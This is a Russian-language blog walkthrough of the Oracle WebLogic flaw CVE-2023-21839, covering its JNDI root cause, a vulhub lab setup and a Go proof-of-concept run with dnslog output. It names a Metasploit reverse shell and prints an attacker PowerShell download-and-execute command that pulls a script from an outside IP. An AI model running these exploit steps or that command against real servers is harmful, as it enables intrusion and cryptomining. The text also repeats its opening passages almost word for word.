РАЗБОР
AppSec
Статья
CVE-2023-21839 - краткий обзор и актуализация
[ обложка статьи ]
Режим чтения
Прежде чем переходить к практике, стоит зафиксировать формальные данные по уязвимости: согласно карточкам NVD и Oracle, CVE-2023-21839 отнесена к категории легко эксплуатируемых, атака проводится удалённо без аутентификации через сеть по протоколам T3 или IIOP, а сама уязвимость получила высокий CVSS-балл именно из-за отсутствия необходимости в учетных данных. Отдельный нюанс, который часто упускают: успешность эксплуатации напрямую зависит от версии установленного JDK на сервере — это важно учитывать при оценке реальной применимости PoC к конкретной инфраструктуре.
CVE-2023-21839 - уязвимость, которая была обнаружена ещё в начале 2023 года, вроде и исправлена, но до сих пор актуальна. Успешные атаки с использованием этой уязвимости могут привести к несанкционированному доступу к критическим данным или полному доступу ко всем данным, к которым есть доступ через Oracle WebLogic Server. Или к запуску произвольного кода.
Уязвимые версии: 12.2.1.3.0 - 14.1.1.0.0.
В середине мая 2024 года, киберпреступная группировка Water Sigbin использовала эту уязвимость для развертывания майнеров на удаленных машинах и кстати весьма успешно. Подробнее вот здесь.
Корень проблемы здесь заключается в том, что протоколы WebLogic T3 и IIOP поддерживают JNDI для привязки и поиска удаленных объектов.
Уязвимость срабатывает в момент вызова
Для начала запустим уязвимый сервер на нашей машине, сделать это можно с помощью репозитория vulndb, если у вас его нету:
Переходим в директорию /Weblogic/CVE-2023/ и запускаем с помощью докера нашу уязвимую среду:
Переходим по локальному IP адресу и нас должно встретить вот такое:
И существует несколько рабочих PoC эксплоитов для проверки этой уязвимости, но все сводятся к одному. Воспользуемся самым простым - CVE-2023-218839.
Все сводится к этим двум командам:
Сперва компилируем, а после запускаем эксплоит c необходимыми параметрами, -IP - это адрес атакуемого устройства, а -ldap является URL того ,что нам необходимо загрузить.
Перейдя в DNS-log атакуемого устройства, мы видим следующую картину:
Успех. На данном этапе наш LDAP сервер не содержит ничего, но если злоумышленник его настроит и поместит туда какой-то эксплоит.
Допустим, злоумышленник разместил на LDAP сервредоносный Java-файл, который будет получен сервером WebLogic в ходе экплатуации. Серверы LDAP предназначены для размещения информации каталога службы, но в этом случае он будет содержать объект Java, который WebLogic будет использовать для получения информации о каталоге, что приведет к запуску нашего кода эксплойта. К слову, это может быть любой не профикшенный эксплоит.
Для самого банального примера, мы можем возпользоваться Метасплоитом с полезной нагрузкой в виде
В декодированном виде это:
Сам же скрипт в свою очередь скачает .bat, а тот в свою очередь майнер. Очень простая, но работоспособная цепочка, чем-то похожа на BatLoader.
Возможностей уйма, уязвимость гибкая.
Уязвимость проста, очень проста и это её главная проблема. И не смотря на то, что с момента её исправления прошло уже достаточно много времени, мы имеем достаточное количество уязвимых машин в сети. Мной было проведено небольшое исследование через Shodan и ZoomEye: уязвимых машин много, можете сами в этом убедиться. А тут уже заметке конец.
CVE-2023-21839 - краткий обзор и актуализация
Без лишней воды, выдаем сухие факты, раз это у нас заметка. Кстати, специально для телеграма Knightpentest (админ крутой, можете и подписаться).CVE-2023-21839 - уязвимость, которая была обнаружена ещё в начале 2023 года, вроде и исправлена, но до сих пор актуальна. Успешные атаки с использованием этой уязвимости могут привести к несанкционированному доступу к критическим данным или полному доступу ко всем данным, к которым есть доступ через Oracle WebLogic Server. Или к запуску произвольного кода.
Уязвимые версии: 12.2.1.3.0 - 14.1.1.0.0.
В середине мая 2024 года, киберпреступная группировка Water Sigbin использовала эту уязвимость для развертывания майнеров на удаленных машинах и кстати весьма успешно. Подробнее вот здесь.
Краткая суть уязвимости
Корень проблемы здесь заключается в том, что протоколы WebLogic T3 и IIOP поддерживают JNDI для привязки и поиска удаленных объектов.
Уязвимость срабатывает в момент вызова
ForeignOpaqueReference.getReferent() и происходит по следующему сценарию:- Сначала класс javax.naming.initialcontext.java считывает тип —
Hashtable. - Злоумышленник в свою очередь создает новый тип
Hashtableи передаетweblogic.jndi.WLInitialContextFactoryвINITIAL_CONTEXT_FACTORYв качестве параметров URL-адрес целевого сервера. - Затем злоумышленник создает экземпляр
InitialContextобъекта, используяgetInitialContextметод классаInitialContext. - После злоумышленник получает функцию defaultInitCtx. Но функция defaultInitCtx не значение объекта, а ее класс реализации —
WLContext(). - Используя метод bind злоумышенник связывает
WLContextс вызовомForeignOpaqueReference.getReferent(), который позволяет удаленно загрузить любой URL.
Для начала запустим уязвимый сервер на нашей машине, сделать это можно с помощью репозитория vulndb, если у вас его нету:
Код:
git clone https://github.com/vulhub/vulhub.git
Переходим в директорию /Weblogic/CVE-2023/ и запускаем с помощью докера нашу уязвимую среду:
Код:
docker-compose up -d
Переходим по локальному IP адресу и нас должно встретить вот такое:
И существует несколько рабочих PoC эксплоитов для проверки этой уязвимости, но все сводятся к одному. Воспользуемся самым простым - CVE-2023-218839.
Все сводится к этим двум командам:
Код:
go build -o CVE-2023-21839
./CVE-2023-21839 -ip 127.0.0.1 -port 7001 -ldap ldap://127.0.0.1:1389/Allo
Сперва компилируем, а после запускаем эксплоит c необходимыми параметрами, -IP - это адрес атакуемого устройства, а -ldap является URL того ,что нам необходимо загрузить.
Перейдя в DNS-log атакуемого устройства, мы видим следующую картину:
Код:
CVE-2023-21839.exe -ip 192.168.25.129 -port 7001 -ldap ldap://dea684.dnslog.kz/allo
[*] your-ip: 192.168.25.129
[*] your-port: 7001
[*] your-ldap: ldap://dea684.dnslog.kz/allo
[*] weblogic 12
[*] id=2 LocateRequest
[*] id=3 RebindRequest
[*] id=4 RebindRequest
[*] id=5 LocateRequest
[*] id=6 ResolveRequest
[*] id=7 ResolveRequest
Успех. На данном этапе наш LDAP сервер не содержит ничего, но если злоумышленник его настроит и поместит туда какой-то эксплоит.
Допустим, злоумышленник разместил на LDAP сервредоносный Java-файл, который будет получен сервером WebLogic в ходе экплатуации. Серверы LDAP предназначены для размещения информации каталога службы, но в этом случае он будет содержать объект Java, который WebLogic будет использовать для получения информации о каталоге, что приведет к запуску нашего кода эксплойта. К слову, это может быть любой не профикшенный эксплоит.
Для самого банального примера, мы можем возпользоваться Метасплоитом с полезной нагрузкой в виде
java/meterpreter/reverse_tcp с мультихандлером в качестве слушателя и получить обратную оболочку сервера. Или же мы можем поступить, как Water Sigbin и заставить сервер выполнить команду powershell, которая скачает и запустит вредоносный .ps1 скрипт.В декодированном виде это:
Код:
powershell "IEX(New-Object Net.WebClient).DownloadString('http://185.172.128.146:443/bin.ps1')"
Сам же скрипт в свою очередь скачает .bat, а тот в свою очередь майнер. Очень простая, но работоспособная цепочка, чем-то похожа на BatLoader.
Возможностей уйма, уязвимость гибкая.
Выводы
Уязвимость проста, очень проста и это её главная проблема. И не смотря на то, что с момента её исправления прошло уже достаточно много времени, мы имеем достаточное количество уязвимых машин в сети. Мной было проведено небольшое исследование через Shodan и ZoomEye: уязвимых машин много, можете сами в этом убедиться. А тут уже заметке конец.
AI-выжимка
по разделам
Тезисы статьи скоро
Статья читается полностью. Тезисы со ссылками на разделы появятся позже.
Содержание
Codeby Academy
Практика и мастерство
От основ до продвинутого — программы для практиков Codeby.
Перейти к курсу →
Продолжить чтение
Следующий разбор
CVE-2026-33453: Header Injection -> RCE в Apache Camel
Комментарии
0